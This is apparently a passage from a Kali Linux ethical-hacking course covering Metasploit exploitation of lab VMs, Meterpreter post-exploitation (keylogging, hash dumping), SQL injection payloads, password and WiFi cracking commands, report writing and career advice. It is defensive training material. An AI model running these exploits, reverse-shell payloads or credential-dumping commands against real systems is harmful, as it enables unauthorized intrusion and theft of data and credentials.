```bash
# Start Metasploit console
sudo msfconsole

# Wait for banner and prompt
msf6 >
```

Basic Metasploit commands:

```bash
```

```
# Search for exploits
search windows smb

# Search for specific service
search apache

# Use an exploit
use exploit/windows/smb/ms17_010_eternalblue

# Show exploit information
info

# Show required options
show options

# Set target
set RHOSTS target_ip

# Set payload
set PAYLOAD windows/meterpreter/reverse_tcp

# Set your IP (where connection comes back)
set LHOST your_kali_ip

# Run the exploit
exploit

# Or check if target is vulnerable without exploiting
check
```

Metasploit modules:

```bash
# Exploits: Code to take advantage of vulnerabilities
use exploit/path/to/exploit

# Payloads: Code that runs after successful exploit
set PAYLOAD windows/meterpreter/reverse_tcp

# Auxiliary: Scanners, fuzzers, etc.
use auxiliary/scanner/portscan/tcp

# Post: Post-exploitation modules
use post/windows/gather/hashdump
```

Exercise: Port Scanning with Metasploit

```bash
# Use TCP port scanner
use auxiliary/scanner/portscan/tcp

# Set target
set RHOSTS target_ip

# Set port range
set PORTS 1-1000

# Run scan
run

# Or exploit syntax
exploit
```

Exercise: SMB Version Detection

```bash
# Use SMB version scanner
use auxiliary/scanner/smb/smb_version

# Set target
set RHOSTS target_ip

# Run scanner
run

# Results show Windows version, SMB version
```

Meterpreter Basics

Meterpreter: Advanced payload providing post-exploitation shell.

Key features:

- Runs in memory (hard to detect)
- Encrypted communication
- Extensible with modules
- File system access
- Process manipulation
- Privilege escalation tools

Common Meterpreter commands:

```bash
```

```
# System information
sysinfo

# Current user
getuid

# Current privileges
getprivs

# List processes
ps

# Migrate to different process
migrate pid

# Screenshot
screenshot

# Keylogger
keyscan_start
keyscan_dump
keyscan_stop

# Upload file
upload /path/to/file C:\\destination\\

# Download file
download C:\\path\\to\\file /local/destination/

# Execute command
execute -f cmd.exe -i -H

# Shell access
```

```
shell

# Privilege escalation
getsystem

# Password dumping (if admin)
hashdump

# Background session
background

# Return to session
sessions -i 1
```

Exercise 17: Metasploitable Practice (20 minutes)

If you have Metasploitable VM available:

Scenario: Exploit vsftpd backdoor

```
bash
```

```
# Start msfconsole
sudo msfconsole

# Search for vsftpd
search vsftpd

# Use the backdoor exploit
use exploit/unix/ftp/vsftpd_234_backdoor

# Set target IP
set RHOSTS metasploitable_ip

# Exploit
exploit

# If successful, you have shell access
whoami
# Output: root

# Explore the system
ls
pwd
uname -a

# Exit
exit
```

Scenario: Exploit Samba

```
bash
```

```
# Search for Samba exploits
search samba

# Use username map script exploit
use exploit/multi/samba/usermap_script

# Set target
set RHOSTS metasploitable_ip

# Set payload
set PAYLOAD cmd/unix/reverse

# Set your IP
set LHOST your_kali_ip

# Exploit
exploit

# Shell should open
```

Understanding exploitation workflow:

```
1. Reconnaissance (nmap, version detection)
2. Identify vulnerability (CVE research)
3. Find exploit (Metasploit, exploit-db)
4. Configure exploit (set options)
5. Execute exploit (gain access)
6. Post-exploitation (gather data)
7. Cover tracks (clear logs)
8. Report findings (document everything)
```

Evening Session (5:00 PM - 6:00 PM)

Final Hour: Reporting and Professional Practice

Exercise 18: Creating a Penetration Test Report (25 minutes)

Professional pentesting requires excellent documentation.

Report structure:

1. Executive Summary

- High-level overview for management
- Critical findings highlighted
- Business impact assessment
- Overall security posture rating

2. Methodology

- Scope of testing
- Tools used
- Approach taken
- Limitations

3. Findings

- Vulnerabilities discovered
- Severity ratings
- Evidence (screenshots, logs)

- Exploitation details

4. Recommendations

- Remediation steps
- Priority order
- Estimated effort
- Best practices

5. Technical Details

- Detailed steps to reproduce
- Proof of concepts
- Command outputs
- Network diagrams

Create sample report:

```markdown
```

```
# PENETRATION TEST REPORT

## Executive Summary

**Client:** Example Company
**Test Date:** [Date]
**Tester:** [Your Name]
**Overall Risk:** HIGH

This penetration test identified several critical vulnerabilities
that could lead to unauthorized access to sensitive systems.
Immediate action is recommended.

### Key Findings:
- 2 Critical vulnerabilities
- 3 High severity issues
- 5 Medium severity issues
- 8 Low/Informational findings

## Methodology

**Scope:**
- External network: 192.168.1.0/24
- Web applications: www.example.com
- Testing period: [Dates]

**Tools Used:**
- Nmap for network scanning
- Nikto for web scanning
- Metasploit for exploitation
- Burp Suite for web testing

**Approach:**
```

```
1. Information gathering
2. Vulnerability scanning
3. Manual testing
4. Exploitation attempts
5. Post-exploitation analysis

## Findings

### CRITICAL: SQL Injection in Login Form

**Severity:** Critical (CVSS: 9.8)
**Affected Asset:** www.example.com/login.php
**Risk:** Database compromise, data exfiltration

**Description:**
The login form is vulnerable to SQL injection, allowing
attackers to bypass authentication and extract database contents.

**Evidence:**
```

Payload: admin' OR '1'='1'--

Result: Successful authentication bypass

```
**Impact:**
- Complete database access
- User credential theft
- Administrative access
- Data modification/deletion

**Recommendation:**
1. Implement parameterized queries
2. Input validation and sanitization
3. Use prepared statements
4. Implement WAF rules
5. Regular security code reviews

**Remediation Priority:** IMMEDIATE

---

### HIGH: Outdated Apache Version

**Severity:** High (CVSS: 7.5)
**Affected Asset:** www.example.com
**Risk:** Remote code execution

**Description:**
Apache 2.4.29 is running with known vulnerabilities (CVE-2021-41773).

**Evidence:**
```

```
$ nmap -sV -p 80 target
80/tcp open http Apache httpd 2.4.29
```

```
**Impact:**
- Remote code execution possible
- System compromise
- Data breach potential

**Recommendation:**
1. Update Apache to latest version (2.4.54+)
2. Apply security patches
3. Implement regular update schedule
4. Configure automatic security updates

**Remediation Priority:** HIGH (within 7 days)

---

### MEDIUM: Weak WiFi Password

**Severity:** Medium (CVSS: 5.9)
**Affected Asset:** Corporate WiFi
**Risk:** Unauthorized network access

**Description:**
WiFi password cracked in 15 minutes using dictionary attack.

**Evidence:**
Password: Welcome2023

**Impact:**
- Unauthorized network access
- Network traffic interception
- Lateral movement opportunities
```

```
**Recommendation:**
1. Change to 20+ character random password
2. Implement WPA3 if supported
3. Regular password rotation
4. Network segmentation
5. 802.1X authentication for corporate

**Remediation Priority:** MEDIUM (within 30 days)
```

Report best practices:

For executives:

- Business impact focus
- Risk quantification
- Budget implications
- Timeline recommendations

For technical teams:

- Detailed reproduction steps
- Technical evidence
- Specific remediation steps
- Tool recommendations

For everyone:

- Clear severity ratings
- Prioritized action items

- Realistic timelines
- Follow-up testing schedule

Professional Certifications and Career Paths

Entry-Level Certifications:

CompTIA Security+

- Foundational security knowledge
- Widely recognized
- Good starting point
- Focus: Security concepts, basic tools

CEH (Certified Ethical Hacker)

- Vendor-neutral
- Covers penetration testing tools
- Recognition in industry
- Focus: Ethical hacking techniques

Intermediate Certifications:

OSCP (Offensive Security Certified Professional)

- Hands-on 24-hour exam
- Highly respected
- Practical exploitation skills
- Focus: "Try Harder" methodology

GPEN (GIAC Penetration Tester)

- Comprehensive pentesting
- SANS training available
- Technical depth
- Focus: Methodology and techniques

Advanced Certifications:

OSEP (Offensive Security Experienced Penetration Tester)

- Advanced exploitation
- Bypass techniques
- Active Directory attacks
- Focus: Advanced persistent threats

OSCE (Offensive Security Certified Expert)

- Exploit development
- Advanced techniques
- Very challenging
- Focus: Custom exploit creation

Specialized Paths:

Web Application:

- OSWE (Offensive Security Web Expert)
- Burp Suite Certified Practitioner

Wireless:

- OSWP (Offensive Security Wireless Professional)

Mobile:

- iOS/Android pentesting certs

Cloud:

- AWS/Azure security certifications

Staying Current in Security

Resources:

News and Updates:

- Krebs on Security
- The Hacker News
- BleepingComputer
- SecurityWeek
- Dark Reading

Vulnerability Databases:

- CVE (Common Vulnerabilities and Exposures)
- NVD (National Vulnerability Database)
- Exploit-DB
- Packet Storm Security

Practice Platforms:

HackTheBox:

- Online vulnerable machines
- Challenges and CTFs
- Active community
- Free and paid tiers

TryHackMe:

- Guided learning paths
- Beginner-friendly
- Interactive labs
- Practical scenarios

VulnHub:

- Downloadable vulnerable VMs
- Various difficulty levels
- Community-created
- Free

PentesterLab:

- Web application focus
- Structured learning
- Hands-on exercises

Communities:

- r/netsec (Reddit)
- r/AskNetsec (Reddit)
- HackerOne community
- Bug bounty forums
- Local OWASP chapters
- DEF CON groups
- Security BSides events

Advanced Topics and Next Steps

Kali Linux Customization

Updating and maintaining Kali:

```bash
# Full system update
sudo apt update && sudo apt full-upgrade -y

# Install additional tools
sudo apt install tool-name

# Remove unnecessary packages
sudo apt autoremove

# Clean package cache
sudo apt clean
```

Installing persistence (if using live USB):

```bash
# Create encrypted persistent partition
# (Must be done from another Linux system or follow Kali docs)
```

Customizing Kali:

```bash
# Change default shell
chsh -s /bin/zsh

# Install Oh My Zsh (better terminal)
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

# Install custom tools
git clone https://github.com/tool/repo
cd repo
./install.sh
```

Advanced Topics to Explore

Week 1-2 Goals:

- Master Metasploit modules
- Practice on HackTheBox
- Learn Burp Suite for web testing
- Explore wireless attacks (with proper hardware)

Month 1 Goals:

- Complete TryHackMe learning path
- Build home lab with vulnerable VMs
- Document all findings professionally
- Start studying for certification

3-6 Months Goals:

- Participate in CTF competitions
- Join bug bounty programs
- Contribute to security projects
- Pursue OSCP or similar certification

Advanced Skills to Develop:

Binary Exploitation:

- Buffer overflows
- Return-oriented programming
- Exploit development
- Shellcode writing

Active Directory Attacks:

- Kerberoasting
- Pass-the-hash
- Golden ticket attacks

- Domain enumeration

Web Application Advanced:

- XXE injection
- SSRF attacks
- Deserialization vulnerabilities
- Business logic flaws

Mobile Security:

- Android app pentesting
- iOS security testing
- Mobile malware analysis

Cloud Security:

- AWS/Azure penetration testing
- Container security
- Serverless security
- Cloud misconfigurations

Ethical Hacking Guidelines

The Hacker's Code of Ethics

Always:

- Obtain written permission before testing

- Stay within defined scope
- Document everything
- Report vulnerabilities responsibly
- Respect privacy and confidentiality
- Follow laws and regulations
- Maintain professionalism

Never:

- Test without authorization
- Exceed agreed scope
- Cause intentional damage
- Steal or expose data
- Use knowledge maliciously
- Share sensitive findings publicly
- Ignore responsible disclosure

Responsible Disclosure

When you find a vulnerability:

Step 1: Document

- Full details of vulnerability
- Steps to reproduce
- Potential impact

- Proof of concept (safe)

Step 2: Report

- Contact organization's security team
- Use bug bounty platform if available
- Provide reasonable timeline (90 days typical)
- Be professional and clear

Step 3: Follow Up

- Allow time for response
- Provide additional information if requested
- Coordinate public disclosure
- Credit appropriately

Step 4: Disclose

- Only after fix is deployed
- Or after reasonable timeline
- Protect users' security
- Share knowledge responsibly

Example responsible disclosure:

```
Subject: Security Vulnerability Report - SQL Injection

Dear Security Team,

I discovered a SQL injection vulnerability in your login form
at https://example.com/login.php while conducting authorized
security research.

Details:
- Parameter: username
- Method: POST
- Payload: admin' OR '1'='1'--
- Impact: Authentication bypass, database access

I am providing a 90-day disclosure timeline and am happy to
provide additional details or assistance in remediation.

This report is made in good faith and I request no disclosure
until the issue is resolved.

Best regards,
[Your Name]
[Contact Information]
```

Conclusion: Your Security Journey Begins

Congratulations! You've completed intensive Kali Linux training. You've learned:

✓ Penetration testing methodology
✓ Information gathering and reconnaissance
✓ Network scanning and enumeration

✓ Web application vulnerability assessment
✓ Password cracking techniques
✓ Wireless security testing concepts
✓ Exploitation with Metasploit
✓ Professional reporting practices

But This Is Just the Beginning:

Security is an endless journey. Vulnerabilities are discovered daily, new attack techniques emerge constantly, and defensive technologies evolve continuously.

Your Next Steps:

This Week:

- Set up home lab with vulnerable VMs
- Practice on HackTheBox or TryHackMe
- Read about recent security vulnerabilities
- Join security community forums

This Month:

- Complete at least 5 vulnerable machines
- Document all findings professionally
- Start studying for a certification
- Build your security toolkit

This Year:

- Earn a security certification (Security+, CEH, OSCP)

- Participate in CTF competitions
- Contribute to bug bounty programs
- Attend security conferences

Remember:

1. **Ethics above all** - Never compromise integrity
2. **Permission is mandatory** - No exceptions
3. **Document everything** - Good habits from day one
4. **Stay current** - Security changes rapidly
5. **Give back** - Share knowledge responsibly
6. **Practice legally** - Use authorized platforms
7. **Think like an attacker, act like a defender**

Appendix: Quick Reference

Essential Kali Commands

bash

```
# System Updates
sudo apt update && sudo apt upgrade -y

# Nmap (Scanning)
nmap -sV -sC target         # Version and script scan
nmap -p- target             # All ports
sudo nmap -sS -A target     # Aggressive SYN scan

# Metasploit
sudo msfconsole             # Launch Metasploit
search exploit_name         # Find exploits
use exploit/path            # Select exploit
set RHOSTS target           # Set target
exploit                     # Run exploit

# Password Cracking
john --wordlist=rockyou.txt hash.txt
hashcat -m 0 -a 0 hash.txt wordlist.txt

# Web Scanning
nikto -h http://target      # Web vulnerability scan
dirb http://target          # Directory brute force
sqlmap -u "http://target?id=1" # SQL injection

# Wireless
sudo airmon-ng start wlan0   # Monitor mode
sudo airodump-ng wlan0mon    # Capture packets
aircrack-ng -w wordlist capture.cap # Crack password

# Network Tools
netdiscover -r 192.168.1.0/24 # Discover hosts
arp-scan -l                 # ARP scan local network
```

Useful Wordlists

```bash
# Password lists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/fasttrack.txt

# Directory lists
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# SecLists (install with: sudo apt install seclists)
/usr/share/seclists/Discovery/Web-Content/
/usr/share/seclists/Passwords/
/usr/share/seclists/Fuzzing/
```

Important Directories

```
/usr/share/metasploit-framework/    Metasploit files
/usr/share/nmap/scripts/            NSE scripts
/usr/share/wordlists/               Default wordlists
/usr/share/exploitdb/               Exploit database
~/.msf4/                            Metasploit config
/var/log/                           System logs
```

CVE and Vulnerability Resources

```
CVE Database: https://cve.mitre.org
NVD: https://nvd.nist.gov
Exploit-DB: https://www.exploit-db.com
```

SecurityFocus: https://www.securityfocus.com

Packet Storm: https://packetstormsecurity.com

Your Day 3 Completion Checklist

Morning Session:

- ☐ Understood penetration testing methodology
- ☐ Learned ethical hacking principles
- ☐ Completed reconnaissance exercises
- ☐ Mastered passive information gathering
- ☐ Practiced active scanning with Nmap
- ☐ Explored NSE scripts

Afternoon Session:

- ☐ Performed web vulnerability scanning
- ☐ Practiced directory busting
- ☐ Understood SQL injection concepts
- ☐ Cracked password hashes
- ☐ Learned wireless security testing
- ☐ Explored Metasploit framework

Evening Session:

- ☐ Created professional pentest report
- ☐ Understood responsible disclosure
- ☐ Identified career paths
- ☐ Committed to ethical practices
- ☐ Planned next learning steps

Advanced Understanding:

- [ ] Explained full pentest lifecycle
- [ ] Recognized legal boundaries
- [ ] Demonstrated tool proficiency
- [ ] Documented findings professionally
- [ ] Committed to ongoing security education

Final Exercise: Your Security Commitment

Create your personal ethical hacking commitment:

```
ETHICAL HACKING COMMITMENT

I pledge to:
- Always obtain written authorization before testing
- Stay within defined scope and rules of engagement
- Report vulnerabilities responsibly
- Protect user privacy and data
- Follow all applicable laws
- Maintain professional integrity
- Use knowledge for defensive purposes
- Help others learn security responsibly

I will use Kali Linux for:
- [Your legitimate purposes]

I will pursue these certifications:
- [Your certification goals]

I commit to learning:
- [Specific skills to develop]

My area of security focus:
- [Web apps / Network / Wireless / Mobile]

Signed: [Your Name]
Date: [Today's date]
```

Where to Go From Here

Immediate Actions:

- Set up vulnerable VM lab (Metasploitable, DVWA, etc.)
- Create HackTheBox or TryHackMe account
- Join security community (Discord, Reddit, forums)
- Start certification study plan

Short-term Goals (1-3 months):

- Complete 10+ vulnerable machines
- Document all findings formally
- Start bug bounty participation
- Build security tools portfolio

Long-term Goals (3-12 months):

- Earn security certification
- Win CTF competitions
- Contribute to security projects
- Attend security conference
- Consider security career path

Remember: With great power comes great responsibility. The tools and techniques you've learned today are powerful and potentially dangerous. Use them ethically, legally, and responsibly.

Stay curious. Stay ethical. Stay legal.

Document Version: 1.0

Created: Day 3 of Linux Mastery Series

Previous: Day 2 - Tails Linux

Next Guide: Day 4 - Ubuntu Desktop Deep Dive

For updates: Visit kali.org for latest documentation

This guide is complete. Use it responsibly. Learn continuously. Hack ethically.